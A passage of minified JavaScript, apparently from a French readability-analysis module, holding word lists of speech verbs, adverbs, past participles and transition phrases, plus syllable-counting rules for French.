"disait-il","disait-elle","disaient-ils","disaient-elles","dirent","demande","demandent","demande-t-il","demande-t-elle","demandent-ils","demandent-elles","demandait","demandaient","demandait-il","demandait-elle","demandaient-ils","demandaient-elles","demanda","demanda-t-il","demanda-t-elle","demandé","pense","pensent","pense-t-il","pense-t-elle","pensent-ils","pensent-elles","pensait","pensaient","pensait-il","pensait-elle","pensaient-ils","pensaient-elles","pensa","pensa-t-il","pensa-t-elle","pensé","affirme","affirme-t-il","affirme-t-elle","affirmé","avoue","avoue-t-il","avoue-t-elle","avoué","concède","concède-t-il","concède-t-elle","concédé","confie","confie-t-il","confie-t-elle","confié","continue","continue-t-il","continue-t-elle","continué","déclame","déclame-t-il","déclame-t-elle","déclamé","déclare","déclare-t-il","déclare-t-elle","déclaré","déplore","déplore-t-il","déplore-t-elle","déploré","explique","explique-t-il","explique-t-elle","expliqué","lance","lance-t-il","lance-t-elle","lancé","narre","narre-t-il","narre-t-elle","narré","raconte","raconte-t-il","raconte-t-elle","raconté","rappelle","rappelle-t-il","rappelle-t-elle","rappelé","réagit","réagit-il","réagit-elle","réagi","répond","répond-il","répond-elle","répondu","rétorque","rétorque-t-il","rétorque-t-elle","rétorqué","souligne","souligne-t-il","souligne-t-elle","souligné","affirme-t-il","affirme-t-elle","ajoute-t-il","ajoute-t-elle","analyse-t-il","analyse-t-elle","avance-t-il","avance-t-elle","écrit-il","écrit-elle","indique-t-il","indique-t-elle","poursuit-il","poursuit-elle","précise-t-il","précise-t-elle","résume-t-il","résume-t-elle","souvient-il","souvient-elle","témoigne-t-il","témoigne-t-elle"],O=["dire","penser","demander","concéder","continuer","confier","déclamer","déclarer","déplorer","expliquer","lancer","narrer","raconter","rappeler","réagir","répondre","rétorquer","souligner","affirmer","ajouter","analyser","avancer","écrire","indiquer","poursuivre","préciser","résumer","témoigner"],A=["assez","trop","tellement","presque","très","absolument","extrêmement","quasi","quasiment","fort"],L=["fais","fait","faisons","faites","font","fais-je","fait-il","fait-elle","fait-on","faisons-nous","faites-vous","font-ils","font-elles","fis","fit","fîmes","fîtes","firent","faisais","faisait","faisions","faisiez","faisaient","ferai","feras","fera","ferons","ferez","feront","veux","veut","voulons","voulez","veulent","voulus","voulut","voulûmes","voulûtes","voulurent","voulais","voulait","voulions","vouliez","voulaient","voudrai","voudras","voudra","voudrons","voudrez","voudront","voulu","veux-je","veux-tu","veut-il","veut-elle","veut-on","voulons-nous","voulez-vous","veulent-ils","veulent-elles","voudrais","voudrait","voudrions","voudriez","voudraient","voulant"],T=["faire","vouloir"],$=["antérieur","antérieures","antérieurs","antérieure","précédent","précédents","précédente","précédentes","facile","faciles","simple","simples","vite","vites","vitesse","vitesses","difficile","difficiles","propre","propres","long","longe","longs","longes","longue","longues","bas","basse","basses","ordinaire","ordinaires","bref","brefs","brève","brèves","sûr","sûrs","sûre","sûres","sure","sures","surs","habituel","habituels","habituelle","habituelles","soi-disant","surtout","récent","récents","récente","récentes","total","totaux","totale","totales","complet","complets","complète","complètes","possible","possibles","communément","constamment","facilement","continuellement","directement","légèrement","dernier","derniers","dernière","dernières","différent","différents","différente","différentes","similaire","similaires","pareil","pareils","pareille","pareilles","largement","mal","super","bien","pire","pires","suivants","suivante","suivantes","prochain","prochaine","prochains","prochaines","proche","proches","fur"],M=["nouveau","nouvel","nouvelle","nouveaux","nouvelles","vieux","vieil","vieille","vieilles","beau","bel","belle","belles","bon","bons","bonne","bonnes","grand","grande","grands","grandes","haut","hauts","haute","hautes","petit","petite","petits","petites","meilleur","meilleurs","meilleure","meilleures","joli","jolis","jolie","jolies","gros","grosse","grosses","mauvais","mauvaise","mauvaises","dernier","derniers","dernière","dernières"],N=["ah","ha","oh","ho","bis","plouf","vlan","ciel","pouf","paf","crac","hurrah","allo","stop","bravo","ô","eh","hé","aïe","oef","ahi","fi","zest","hem","holà","chut"],V=["mg","g","kg","ml","dl","cl","l","grammes","gram","once","onces","oz","lbs","càc","cc","càd","càs","càt","cd","cs","ct"],B=["minute","minutes","heure","heures","journée","journées","semaine","semaines","mois","année","années","aujourd'hui","demain","hier","après-demain","avant-hier"],I=["chose","choses","façon","façons","pièce","pièces","truc","trucs","fois","cas","aspect","aspects","objet","objets","idée","idées","thème","thèmes","sujet","sujets","personnes","manière","manières","sorte","sortes"],D=["ne","oui","d'accord","amen","euro","euros","etc"],F=(n([].concat(u,j,T,S,O,M)),n($),n([].concat(a,R,P,p,A,f,b)),n([].concat(l,d,m,c,v,N,o,E,k,z,L,g,C,W,h,y,x,D,q,V,B,I)),[].concat(a,R,c,m,b,v,g,w,h,o,u,L,k,T)),_=[].concat(z,j),H=n([].concat(a,o,u,p,b,v,d,m,y,f,g,w,q,x,z,j,h,E,S,R,P,C,W,k,O,l,["encore","éternellement","immédiatement","compris","comprenant","inclus","naturellement","particulièrement","notablement","actuellement","maintenant","ordinairement","généralement","habituellement","d'habitude","vraiment","finalement","uniquement","peut-être","initialement","déjà","c.-à-d","souvent","fréquemment","régulièrement","simplement","éventuellement","quelquefois","parfois","probable","plausible","jamais","toujours","incidemment","accidentellement","récemment","dernièrement","relativement","clairement","évidemment","apparemment","pourvu"],A,L,T,N,$,M,V,I,D,B,["mme","mmes","mlle","mlles","mm","dr","pr"],["jr","sr"],c)),J=["et","ou","car","or","puisque","puisqu'il","puisqu'ils","puisqu'elle","puisqu'elles","puisqu'un","puisqu'une","puisqu'on","quand","lorsque","lorsqu'il","lorsqu'elle","lorsqu'ils","lorsqu'elles","lorsqu'on","lorsqu'un","lorsqu'une","quoique","quoiqu'il","quoiqu'ils","quoiqu'elle","quoiqu'elles","quoiqu'on","quoiqu'un","quoiqu'une","qu'elle","qu'il","qu'ils","qu'elles","qu'on","qu'un","qu'une","si","s'ils","s'il","quand bien même","pourquoi","après","avant","afin de","compte tenu de","pour ne pas dire","sinon","une fois","sitôt","dont","lequel","laquelle","lesquels","lesquelles","auquel","auxquels","auxquelles","duquel","desquels","desquelles","qui","où","d'où",":","allé","entré","resté","retombé","apparu","réapparu","devenu","redevenu","intervenu","provenu","resurvenu","survenu","allés","entrés","restés","retombés","apparus","réapparus","devenus","redevenus","intervenus","provenus","resurvenus","survenus","allée","entrée","restée","retombée","apparue","réapparue","devenue","redevenue","intervenue","provenue","resurvenue","survenue","allées","entrées","restées","retombées","apparues","réapparues","devenues","redevenues","intervenues","provenues","resurvenues","survenues"],U=[["à première vue","mais à bien considérer les choses"],["à première vue","mais toute réflexion faite"],["aussi","que"],["autant de","que"],["certes","mais"],["d'un côté","de l'autre côté"],["d'un côté","de l'autre"],["d'un côté","d'un autre côté"],["d'une part","d'autre part"],["d'une parte","de l'autre parte"],["moins de","que"],["non seulement","mais aussi"],["non seulement","mais en outre"],["non seulement","mais encore"],["plus de","que"],["quelque","que"],["si","que"],["soit","soit"],["tantôt","tantôt"],["tout d'abord","ensuite"],["tout","que"]],X=JSON.parse('{"vowels":"aeiouyàâéèêëîïûüùôæœ","deviations":{"vowels":[{"fragments":["[ptf]aon(ne)?[s]?$"],"countModifier":-1},{"fragments":["aoul","[^eéiïou]e(s|nt)?$","[qg]ue(s|nt)?$"],"countModifier":-1},{"fragments":["o[ëaéèï]"],"countModifier":1},{"fragments":["a[eéèïüo]","é[aâèéiîuo]","ii[oe]","[aeéuo]y[aâeéèoui]","coe[^u]","zoo","coop","coord","poly[ae]","[bcd]ry[oa]","[bcdfgptv][rl](ou|u|i)[aéèouâ]","ouez","[blmnt]uio","uoia","ment$","yua","[bcdfgptv][rl](i|u|eu)e([ltz]|r[s]?$|n[^t])","[^aeiuyàâéèêëîïûüùôæœqg]uie[rz]$"],"countModifier":1}],"words":{"full":[{"word":"ok","syllables":2},{"word":"eyeliner","syllables":3},{"word":"coati","syllables":3},{"word":"que","syllables":1},{"word":"flouer","syllables":2},{"word":"relouer","syllables":3},{"word":"évaluons","syllables":4},{"word":"instituons","syllables":4},{"word":"atténuons","syllables":4},{"word":"remuons","syllables":3},{"word":"redestribuons","syllables":5},{"word":"suons","syllables":2},{"word":"reconstituons","syllables":5},{"word":"dent","syllables":1},{"word":"fréquent","syllables":2},{"word":"permanent","syllables":3},{"word":"mécontent","syllables":3},{"word":"grandiloquent","syllables":4},{"word":"continent","syllables":3},{"word":"occident","syllables":3},{"word":"référent","syllables":3},{"word":"indigent","syllables":3},{"word":"concurrent","syllables":3},{"word":"gent","syllables":1},{"word":"différent","syllables":3},{"word":"strident","syllables":2},{"word":"équivalent","syllables":4},{"word":"ardent","syllables":2},{"word":"impotent","syllables":3},{"word":"argent","syllables":2},{"word":"immanent","syllables":3},{"word":"indécent","syllables":3},{"word":"effluent","syllables":3},{"word":"agent","syllables":2},{"word":"dolent","syllables":2},{"word":"contingent","syllables":3},{"word":"impénitent","syllables":4},{"word":"adjacent","syllables":3},{"word":"incident","syllables":3},{"word":"content","syllables":2},{"word":"incontinent","syllables":4},{"word":"éloquent","syllables":3},{"word":"convent","syllables":2},{"word":"dissident","syllables":3},{"word":"innocent","syllables":3},{"word":"ventripotent","syllables":4},{"word":"convalescent","syllables":4},{"word":"accident","syllables":3},{"word":"récent","syllables":2},{"word":"absent","syllables":2},{"word":"décadent","syllables":3},{"word":"réticent","syllables":3},{"word":"évent","syllables":2},{"word":"souvent","syllables":2},{"word":"intelligent","syllables":3},{"word":"inhérent","syllables":3},{"word":"adolescent","syllables":4},{"word":"couvent","syllables":2},{"word":"cent","syllables":1},{"word":"urgent","syllables":2},{"word":"précédent","syllables":3},{"word":"imprudent","syllables":3},{"word":"torrent","syllables":2},{"word":"abstinent","syllables":3},{"word":"indifférent","syllables":4},{"word":"excédent","syllables":3},{"word":"déférent","syllables":3},{"word":"incandescent","syllables":4},{"word":"intermittent","syllables":4},{"word":"présent","syllables":3},{"word":"astringent","syllables":3},{"word":"trident","syllables":2},{"word":"impertinent","syllables":4},{"word":"détergent","syllables":3},{"word":"évident","syllables":3},{"word":"influent","syllables":3},{"word":"pertinent","syllables":3},{"word":"subséquent","syllables":3},{"word":"féculent","syllables":3},{"word":"déférent","syllables":3},{"word":"ambivalent","syllables":4},{"word":"omnipotent","syllables":4},{"word":"décent","syllables":2},{"word":"compétent","syllables":3},{"word":"adhérent","syllables":3},{"word":"afférent","syllables":3},{"word":"luminescent","syllables":4},{"word":"lent","syllables":1},{"word":"apparent","syllables":3},{"word":"effervescent","syllables":4},{"word":"parent","syllables":2},{"word":"pénitent","syllables":3},{"word":"fluorescent","syllables":3},{"word":"impudent","syllables":3},{"word":"diligent","syllables":3},{"word":"entregent","syllables":3},{"word":"flatulent","syllables":3},{"word":"serpent","syllables":2},{"word":"violent","syllables":2},{"word":"somnolent","syllables":3},{"word":"déliquescent","syllables":4},{"word":"proéminent","syllables":4},{"word":"résident","syllables":3},{"word":"putrescent","syllables":3},{"word":"talent","syllables":2},{"word":"spumescent","syllables":3},{"word":"tangent","syllables":2},{"word":"chiendent","syllables":2},{"word":"négligent","syllables":3},{"word":"antécédent","syllables":4},{"word":"régent","syllables":2},{"word":"polyvalent","syllables":4},{"word":"latent","syllables":2},{"word":"opulent","syllables":3},{"word":"arpent","syllables":2},{"word":"adent","syllables":2},{"word":"concupiscent","syllables":4},{"word":"sanguinolent","syllables":4},{"word":"opalescent","syllables":4},{"word":"prudent","syllables":2},{"word":"conséquent","syllables":3},{"word":"pourcent","syllables":2},{"word":"transparent","syllables":3},{"word":"sergent","syllables":2},{"word":"diligent","syllables":3},{"word":"inconséquent","syllables":4},{"word":"turbulent","syllables":3},{"word":"fervent","syllables":2},{"word":"truculent","syllables":3},{"word":"interférent","syllables":4},{"word":"confluent","syllables":3},{"word":"succulent","syllables":3},{"word":"purulent","syllables":3},{"word":"patent","syllables":2},{"word":"indulgent","syllables":3},{"word":"engoulevent","syllables":4},{"word":"auvent","syllables":2},{"word":"président","syllables":3},{"word":"confident","syllables":3},{"word":"incompétent","syllables":4},{"word":"accent","syllables":2},{"word":"arborescent","syllables":4},{"word":"contrevent","syllables":3},{"word":"cohérent","syllables":3},{"word":"relent","syllables":2},{"word":"insolent","syllables":3},{"word":"virulent","syllables":3},{"word":"rémanent","syllables":3},{"word":"vent","syllables":1},{"word":"turgescent","syllables":3},{"word":"incohérent","syllables":4},{"word":"malcontent","syllables":3},{"word":"lactescent","syllables":3},{"word":"inintelligent","syllables":5},{"word":"omniprésent","syllables":4},{"word":"récurrent","syllables":3},{"word":"covalent","syllables":3},{"word":"éminent","syllables":3},{"word":"onguent","syllables":2},{"word":"indolent","syllables":3},{"word":"event","syllables":2},{"word":"corpulent","syllables":3},{"word":"divergent","syllables":3},{"word":"excellent","syllables":3},{"word":"phosphorescent","syllables":4},{"word":"évanescent","syllables":4},{"word":"paravent","syllables":3},{"word":"avent","syllables":2},{"word":"iridescent","syllables":4},{"word":"prénomment","syllables":2},{"word":"consument","syllables":2},{"word":"dégomment","syllables":2},{"word":"enveniment","syllables":3},{"word":"proclament","syllables":2},{"word":"chôment","syllables":1},{"word":"infirment","syllables":2},{"word":"briment","syllables":1},{"word":"fument","syllables":1},{"word":"acclament","syllables":2},{"word":"referment","syllables":2},{"word":"impriment","syllables":2},{"word":"paument","syllables":1},{"word":"déciment","syllables":2},{"word":"accoutument","syllables":3},{"word":"essaiment","syllables":2},{"word":"ferment","syllables":1},{"word":"dépriment","syllables":2},{"word":"raniment","syllables":2},{"word":"programment","syllables":2},{"word":"fantasment","syllables":2},{"word":"animent","syllables":2},{"word":"affirment","syllables":2},{"word":"filment","syllables":1},{"word":"dament","syllables":1},{"word":"parsèment","syllables":3},{"word":"priment","syllables":1},{"word":"assomment","syllables":2},{"word":"rament","syllables":1},{"word":"pâment","syllables":1},{"word":"conforment","syllables":2},{"word":"embaument","syllables":2},{"word":"calment","syllables":1},{"word":"blasphèment","syllables":2},{"word":"désarment","syllables":2},{"word":"consomment","syllables":2},{"word":"griment","syllables":1},{"word":"abîment","syllables":2},{"word":"blâment","syllables":1},{"word":"endorment","syllables":2},{"word":"allument","syllables":2},{"word":"blâment","syllables":1},{"word":"confirment","syllables":2},{"word":"escriment","syllables":2},{"word":"trament","syllables":1},{"word":"hument","syllables":1},{"word":"surnomment","syllables":2},{"word":"écument","syllables":2},{"word":"triment","syllables":1},{"word":"estiment","syllables":2},{"word":"rallument","syllables":2},{"word":"enflamment","syllables":2},{"word":"riment","syllables":1},{"word":"plument","syllables":1},{"word":"suppriment","syllables":2},{"word":"gomment","syllables":1},{"word":"affament","syllables":2},{"word":"friment","syllables":1},{"word":"clament","syllables":1},{"word":"dorment","syllables":1},{"word":"dénomment","syllables":2},{"word":"entament","syllables":2},{"word":"arriment","syllables":2},{"word":"résument","syllables":2},{"word":"enrhument","syllables":2},{"word":"rendorment","syllables":2},{"word":"compriment","syllables":2},{"word":"aiment","syllables":1},{"word":"rythment","syllables":1},{"word":"périment","syllables":2},{"word":"réclament","syllables":2},{"word":"subliment","syllables":2},{"word":"brument","syllables":1},{"word":"embrument","syllables":2},{"word":"germent","syllables":1},{"word":"renferment","syllables":2},{"word":"sèment","syllables":1},{"word":"reforment","syllables":2},{"word":"liment","syllables":1},{"word":"cament","syllables":1},{"word":"parfument","syllables":2},{"word":"arment","syllables":1},{"word":"brament","syllables":1},{"word":"déforment","syllables":2},{"word":"assument","syllables":2},{"word":"crament","syllables":1},{"word":"exclament","syllables":2},{"word":"forment","syllables":1},{"word":"diffament","syllables":2},{"word":"somment","syllables":1},{"word":"oppriment","syllables":2},{"word":"miment","syllables":1},{"word":"enferment","syllables":2},{"word":"nomment","syllables":1},{"word":"reprogramment","syllables":3},{"word":"transforment","syllables":2},{"word":"expriment","syllables":2},{"word":"informent","syllables":2},{"word":"légitiment","syllables":3},{"word":"de","syllables":1},{"word":"le","syllables":1},{"word":"je","syllables":1},{"word":"te","syllables":1},{"word":"ce","syllables":1},{"word":"ne","syllables":1},{"word":"re","syllables":1},{"word":"me","syllables":1},{"word":"se","syllables":1},{"word":"ses","syllables":1},{"word":"mes","syllables":1},{"word":"mes","syllables":1},{"word":"ces","syllables":1},{"word":"des","syllables":1},{"word":"tes","syllables":1},{"word":"les","syllables":1},{"word":"oye","syllables":1},{"word":"es","syllables":1},{"word":"remerciâmes","syllables":4},{"word":"herniaires","syllables":3},{"word":"autopsiais","syllables":4},{"word":"août","syllables":1}],"fragments":{"global":[{"word":"business","syllables":2},{"word":"skate","syllables":1},{"word":"board","syllables":1},{"word":"coach","syllables":1},{"word":"roadster","syllables":2},{"word":"soap","syllables":1},{"word":"goal","syllables":1},{"word":"coaltar","syllables":2},{"word":"loader","syllables":2},{"word":"coat","syllables":1},{"word":"baseball","syllables":2},{"word":"foëne","syllables":1},{"word":"cacaoyer","syllables":4},{"word":"scoop","syllables":1},{"word":"zoom","syllables":1},{"word":"bazooka","syllables":3},{"word":"tatoueu","syllables":3},{"word":"cloueu","syllables":2},{"word":"déchouer","syllables":2},{"word":"écrouelles","syllables":3},{"word":"maestria","syllables":3},{"word":"maestro","syllables":3},{"word":"vitae","syllables":3},{"word":"paella","syllables":3},{"word":"vae","syllables":2},{"word":"thaï","syllables":1},{"word":"skaï","syllables":1},{"word":"masaï","syllables":2},{"word":"samouraï","syllables":3},{"word":"bonsaï","syllables":2},{"word":"bonzaï","syllables":2},{"word":"aïkido","syllables":3},{"word":"daïquiri","syllables":3},{"word":"pagaïe","syllables":2},{"word":"chiite","syllables":2},{"word":"pays","syllables":2},{"word":"antiaérien","syllables":5},{"word":"bleui","syllables":2},{"word":"remerciai","syllables":4},{"word":"monstrueu","syllables":3},{"word":"niakoué","syllables":3},{"word":"minoen","syllables":3},{"word":"groenlandais","syllables":4},{"word":"remerciant","syllables":4},{"word":"skiant","syllables":2},{"word":"ruade","syllables":2},{"word":"weltanschauung","syllables":4}],"atBeginning":[{"word":"roast","syllables":1},{"word":"taï","syllables":1}],"atEnd":[{"word":"écrouer","syllables":3},{"word":"clouer","syllables":2}]}}}}'),G=window.lodash,K=["abâtardi","abattu","abêti","aboli","abouti","abruti","abstenu","abstrait","accompli","accouru","accroupi","accru","accueilli","adjoint","adouci","advenu","affadi","affaibli","affermi","agi","agrandi","aguerri","ahuri","aigri","alangui","alenti","alourdi","aluni","amaigri","amati","amerri","aminci","amoindri","amolli","amorti","anéanti","apâli","aperçu","aplani","appartenu","appauvri","appendu","appesanti","applaudi","approfondi","arrondi","assagi","assailli","assaini","asservi","assombri","assorti","assoupi","assoupli","assourdi","assouvi","assujetti","astreint","attendri","attendu","atterri","attiédi","attrait","autodétruit","avachi","aveuli","avili","banni","barri","bâti","battu","béni","blanchi","blêmi","bleui","blondi","blotti","bonni","bouffi","bouilli","bruni","bu","calmi","candi","ceint","chéri","choisi","circonscrit","circonvenu","combattu","comparu","compati","conclu","concouru","condescendu","conduit","confit","confondu","conjoint","connu","consenti","construit","contenu","contraint","contredit","contrefait","contrevenu","convaincu","convenu","converti","coproduit","correspondu","couru","cousu","craint","cramoisi","crépi","croupi","cru","cueilli","cuit","débattu","décati","déchu","déconfit","déconstruit","décousu","découvert","décrépi","décrit","décru","déçu","dédit","déduit","défailli","défendu","défini","défleuri","défraîchi","dégarni","dégluti","dégourdi","démenti","démoli","démordu","démuni","départi","dépeint","dépendu","dépéri","déplu","dépoli","dépourvu","désobéi","desservi","déteint","détendu","détenu","détruit","dévêtu","discouru","disjoint","disparu","distendu","distrait","dit","diverti","dormi","durci","ébahi","ébaubi","ébaudi","éclairci","éconduit","écrit","élargi","élu","embelli","embouti","émoulu","empli","empreint","empuanti","ému","enchéri","encouru","endolori","endormi","enduit","endurci","enfoui","enfreint","enfui","englouti","engourdi","enhardi","enjoint","enlaidi","ennobli","enorgueilli","enrichi","enseveli","entendu","entr'aperçu","entraperçu","entreclos","entremis","entretenu","entrevu","entrouvert","envahi","épanoui","éperdu","équarri","équivalu","estourbi","établi","éteint","étendu","étourdi","étréci","étreint","eu","évanoui","exclu","extrait","faibli","fait","fallu","farci","feint","fendu","fini","fléchi","fleuri","fondu","forci","foui","fourbi","fourni","foutu","fraîchi","franchi","frémi","frit","fui","garanti","garni","gauchi","gémi","glapi","grandi","grossi","guéri","haï","imparti","induit","infléchi","inscrit","instruit","interdit","interrompu","interverti","introduit","inverti","investi","jailli","jauni","joint","joui","langui","loti","lu","maintenu","méconnu","mécru","médit","menti","minci","moisi","moiti","molli","mordu","morfondu","moulu","mugi","muni","nanti","noirci","nourri","nui","obéi","obscurci","obtenu","offert","oint","ouï","ourdi","ouvert","pâli","parcouru","paru","pâti","peint","pendu","perçu","péri","perverti","pétri","plaint","portrait","pourfendu","pourri","poursuivi","pourvu","prédéfini","prédit","préétabli","prémuni","prescrit","prétendu","prévalu","prévenu","prévu","produit","promu","proscrit","pu","puni","rabattu","rabougri","radouci","raffermi","ragaillardi","raidi","rajeuni","ralenti","ramolli","ranci","ravi","réadmis","réagi","réappris","rebâti","rebattu","rebondi","rebu","reconnu","reconstruit","reconverti","recouru","recouvert","recrépi","récrit","recru","reçu","recueilli","recuit","redécouvert","redéfini","redit","réduit","réécrit","réélu","réentendu","refendu","réfléchi","refondu","refoutu","refroidi","regarni","régi","réinscrit","réintroduit","réinvesti","rejoint","réjoui","relu","relui","rembruni","remordu","rempli","renchéri","rendormi","rendu","rentrait","répandu","reparcouru","réparti","reparu","repeint","rependu","repenti","reperdu","répondu","reproduit","résolu","resplendi","ressaisi","resservi","restreint","resurgi","rétabli","retendu","retenu","retraduit","retrait","retranscrit","rétréci","réuni","réussi","revécu","revendu","reverdi","reverni","revêtu","revu","ri","roidi","rosi","rôti","rougi","roussi","rousti","rouvert","rugi","saisi","sali","satisfait","sauri","secouru","séduit","senti","serti","servi","sévi","souffert","souri","sous-entendu","sous-tendu","souscrit","soustrait","soutenu","souvenu","su","subi","subvenu","suffi","suivi","surenchéri","surgi","suri","survécu","suspendu","tapi","tari","teint","tendu","tenu","terni","terri","tiédi","tondu","tordu","traduit","trahi","trait","transcrit","transi","travesti","tressailli","uni","vagi","vaincu","valu","vécu","vendu","verdi","verni","vêtu","vieilli","vomi","voulu","vu"],Q=["absous","absoute","absoutes","dissous","dissoute","dissoutes","crû","crus","crue","crues","dû","dus","dues","mû","mus","mue","mues"],Y=["repris","démis","omis","dépris","retransmis","assis","promis","circoncis","permis","compris","mépris","inclus","soumis","rassis","sursis","enclos","acquis","compromis","commis","désappris","appris","conquis","transmis","remis","surpris","reconquis","mis","enquis","pris","admis","clos","émis","entrepris","épris","requis"],{getWords:Z,matchRegularParticiples:ee}=t.languageProcessing,ie=function(e,i,t){const s=[];return(0,G.forEach)(i,(function(i){const l=new RegExp("^"+i+t+"?$","ig"),r=e.match(l);r&&s.push(r[0])})),s};const te=["allé","arrivé","décédé","demeuré","entré","été","né","resté","retombé","tombé","achalandé","aéroporté","affilé","affixé","âgé","aîné","aisé","aligoté","alizé","alliacé","alluré","alphabétisé","alvéolé","aminé","ammoniaqué","ampoulé","archi-prouvé","archi-usé","asexué","autoguidé","autopropulsé","aviné","baleiné","barbelé","baryté","bien-aimé","bisexué","bouqueté","brioché","burkinabé","cagoulé","calamistré","cannelé","carabiné","carboné","caréné","carié","carminé","carné","carpé","censé","cérusé","charançonné","chenillé","chocolaté","chtarbé","citronné","cofondé","contrecollé","côtelé","courbaturé","crawlé","crossé","crustacé","cutané","damasquiné","damassé","débellé","décavé","déguenillé","demi-paralysé","denté","dépenaillé","désenchanté","désodé","diapré","ébranché","écervelé","effréné","effronté","éhonté","embourgeoisé","embroussaillé","embruiné","émerillonné","encalminé","encaustiqué","encorné","endiablé","endiamanté","enfoiré","enfouraillé","ensellé","entrelardé","éploré","ergoté","erroné","étagé","éthéré","éversé","éwé","ex-associé","exorbité","expansé","famé","férié","fibré","filoguidé","flammé","fleurdelisé","fliqué","flûté","forcené","fortuné","foulbé","frelaté","friqué","futé","gazonné","gracieusé","gradé","granulé","herminé","hiérarchisé","huppé","hydrogéné","igné","illettré","illimité","imbriqué","immaculé","immérité","immodéré","immunodéprimé","impayé","impensé","impollué","imprononcé","inaccoutumé","inachevé","inactivé","inadapté","inaltéré","inanimé","inapproprié","inarticulé","inavoué","inchangé","inconditionné","inconsidéré","inconsolé","incontesté","incontrôlé","incréé","indéfriché","indéterminé","indifférencié","indiscipliné","indiscuté","indivisé","indompté","inébranlé","inemployé","inentamé","inespéré","inexpérimenté","inexpliqué","inexploité","inexploré","inexprimé","infondé","informulé","infortuné","inhabité","inimité","injustifié","inné","innommé","inoccupé","inopiné","inorganisé","inoublié","insensé","insoupçonné","instantané","insubordonné","insurpassé","intentionné","interallié","intouché","inusité","inutilisé","invertébré","inviolé","iodé","irraisonné","irréalisé","lacté","lamé","lamifié","larvé","laryngé","léopardé","lettré","lié","lifté","losangé","luné","lunetté","madré","maillé","malaisé","malavisé","maléficié","malfamé","malformé","malintentionné","mendé","ménopausé","mentholé","mi-accablé","mi-allongé","mi-café","mi-consterné","mi-enterré","mi-étonné","mi-pincé","mi-terrorisé","miellé","millimétré","miraculé","momentané","monoclé","monté","mordoré","mort-né","névrosé","nitré","non-initié","nouveau-né","olé-olé","ongulé","paillé","palé","papilionacé","paqueté","paraffiné","passé","pasteurisé","patenté","paysagé","pédonculé","pestiféré","platiné","pocheté","polychromé","poplité","potelé","pourpré","praliné","précité","prédigéré","préencollé","préfabriqué","prématuré","premier-né","préprogrammé","prostré","protéiné","pyramidé","quadrilobé","racé","re-café","re-rêvé","re-vérifié","rebarré","redécoré","relargué","remonté","rentré","résiné","ressuscité","réticulé","retourné","revérifié","revivifié","rose-thé","safrané","satiné","saumoné","sébacé","sensé","sexué","sigillé","silicosé","simultané","sinistré","soufré","sous-cutané","sous-développé","sous-qualifié","soussigné","spiralé","spontané","stratifié","sulfaté","sulfuré","sulfurisé","suractivé","suranné","surbooké","surbrodé","surdéveloppé","surdimensionné","surdoué","surentraîné","suroxygéné","surpeuplé","surqualifié","susmentionné","susnommé","systématisé","tarabiscoté","taupé","thrombosé","tiercé","timoré","tiqueté","transcutané","triphasé","usagé","usité","vallonné","vanillé","vascularisé","veinulé","venté","vergé","vert-de-grisé","vertébré","vitaminé","vulcanisé","zélé"],se=["à-côté","abbé","absurdité","accessibilité","acerbité","acidité","acmé","acné","âcreté","activité","actualité","acuité","adaptabilité","adiposité","admissibilité","adversité","affabilité","affectivité","affidé","affinité","agilité","agressivité","alacrité","alcalinité","altérité","amabilité","ambiguïté","amé","aménité","américanité","amirauté","amitié","amoralité","ancestralité","ancienneté","anfractuosité","angulosité","animalité","animosité","anormalité","anti-acné","anti-cité","anti-criminalité","anti-gravité","anti-intimité","anti-société","antigravité","antiquité","anxiété","aparté","applicabilité","âpreté","archevêché","aridité","artificialité","asexualité","asociabilité","aspérité","assiduité","astarté","atrocité","austérité","authenticité","autodafé","autorité","avé","aveugle-né","avidité","ébriété","effectivité","efficacité","égalité","élasticité","électricité","élément-clé","élémentarité","éligibilité","émotivité","empaffé","énormité","entièreté","entité","enviandé","épitomé","équanimité","équité","étanchéité","éternité","ethnicité","étrangéité","étrangeté","euromarché","évêché","éventualité","ex-abbé","ex-fiancé","excentricité","exclusivité","exemplarité","exhaustivité","exiguïté","extériorité","externalité","exterritorialité","extrémité","idée-clé","identité","illégalité","illégitimité","imbécillité","immatérialité","immaturité","immédiateté","immensité","immobilité","immoralité","immortalité","immuabilité","immunité","immutabilité","impalpabilité","impartialité","impassibilité","impeccabilité","impécuniosité","impénétrabilité","imperméabilité","impersonnalité","impétuosité","impiété","implacabilité","impopularité","impossibilité","impraticabilité","imprévisibilité","improbabilité","impudicité","impulsivité","impunité","impureté","inaccessibilité","inactivité","inanité","inauthenticité","incapacité","incommodité","incommunicabilité","incompatibilité","incongruité","incorruptibilité","incrédibilité","incrédulité","incuriosité","indemnité","indestructibilité","indignité","indisponibilité","individualité","indivisibilité","indocilité","industrie-clé","inefficacité","inégalité","inéligibilité","inéluctabilité","inévitabilité","inexorabilité","infaillibilité","infécondité","infériorité","infertilité","infidélité","infinité","infirmité","inflammabilité","inflexibilité","ingéniosité","ingénuité","inhospitalité","inhumanité","inimitié","iniquité","innocuité","inopportunité","insalubrité","insanité","insécurité","insensibilité","inséparabilité","insincérité","insipidité","insonorité","instabilité","instantanéité","insularité","intangibilité","intégralité","intégrité","intelligibilité","intemporalité","intensité","intentionnalité","interactivité","intériorité","intimité","intrépidité","inusabilité","inutilité","invalidité","inventivité","invincibilité","inviolabilité","invisibilité","invulnérabilité","irrationalité","irréalité","irrecevabilité","irrégularité","irréligiosité","irresponsabilité","irréversibilité","irrévocabilité","irritabilité","obésité","objectivité","obliquité","obscénité","obscurité","obséquiosité","officialité","oiseau-clé","oisiveté","okoumé","onctuosité","opacité","opiniâtreté","opportunité","oralité","originalité","ubiquité","ukulélé","unanimité","unicité","uniformité","unilatéralité","unité","universalité","université","urbanité","utilité","yé-yé","yéyé","achillée","almée","aménorrhée","année","anti-nausée","apnée","apogée","araignée","arrière-pensée","assiettée","athénée","auloffée","aveugle-née","avrillée","azalée","échauffourée","écuellée","élysée","embardée","empyrée","épée","épopée","étuvée","ex-allée","ex-dulcinée","ex-fiancée","ex-lycée","idée","ipomée","odyssée","onomatopée","orchidée","orée","orphée","urée","banalité","bas-côté","beaupré","beauté","bébé","bédé","bénédicité","bénignité","bestialité","bien-fondé","biodiversité","bipolarité","bisexualité","blé","bonté","bout-rimé","bovidé","brièveté","brutalité","caducité","café","callosité","camélidé","canapé","capacité","capillarité","captivité","carte-clé","caté","catholicité","causalité","causticité","cavité","cécité","célébrité","célérité","cérébralité","cétacé","charité","chassé-croisé","chasteté","cherté","chétivité","chimpanzé","chrétienté","ciné","cinéma-vérité","circularité","citoyenneté","civilité","clandé","clandestinité","clarté","clé","clergé","co-propriété","coaccusé","cochonceté","code-clé","collectivi